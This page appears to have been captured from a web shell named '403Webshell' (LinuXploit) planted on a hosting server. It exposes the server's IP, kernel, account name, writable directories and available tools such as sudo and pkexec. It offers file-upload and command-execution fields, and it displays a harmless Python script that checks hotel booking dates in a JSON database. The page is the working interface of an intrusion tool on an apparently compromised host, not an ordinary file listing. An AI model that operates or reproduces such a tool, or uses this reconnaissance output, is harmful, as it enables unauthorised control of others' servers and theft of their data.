403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/home/rmlac2fmr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/home/rmlac2fmr/check_tally.py
import json
db = json.load(open("/home/rmlac2fmr/public_html/jn.com/ops/data/db.json"))

print("=== Hotel Bookings with issues ===\n")
for h in db.get("hotelBookings", []):
    if h.get("showId") != "S2":
        continue
    ci = h.get("checkIn", "")
    co = h.get("checkOut", "")
    name = f"{h.get('lastName','')}, {h.get('firstName','')}"
    
    if not ci or not co:
        print(f"  MISSING DATES: {name} hotel={h.get('hotel','')} checkIn='{ci}' checkOut='{co}'")
    elif len(ci) != 10 or len(co) != 10:
        print(f"  BAD FORMAT: {name} checkIn='{ci}' (len={len(ci)}) checkOut='{co}' (len={len(co)})")
    elif co < ci:
        print(f"  CHECKOUT BEFORE CHECKIN: {name} checkIn='{ci}' checkOut='{co}'")

print(f"\n=== All S2 hotel bookings ===")
print(f"{'Name':<30} {'Hotel':<35} {'CheckIn':<12} {'CheckOut':<12} {'Assigned'}")
for h in sorted(db.get("hotelBookings", []), key=lambda x: x.get("checkIn","zzz")):
    if h.get("showId") != "S2":
        continue
    print(f"{h.get('lastName','')}, {h.get('firstName',''):<24} {h.get('hotel',''):<35} {h.get('checkIn','—'):<12} {h.get('checkOut','—'):<12} {h.get('assigned','')}")

Youez - 2016 - github.com/yon3zu
LinuXploit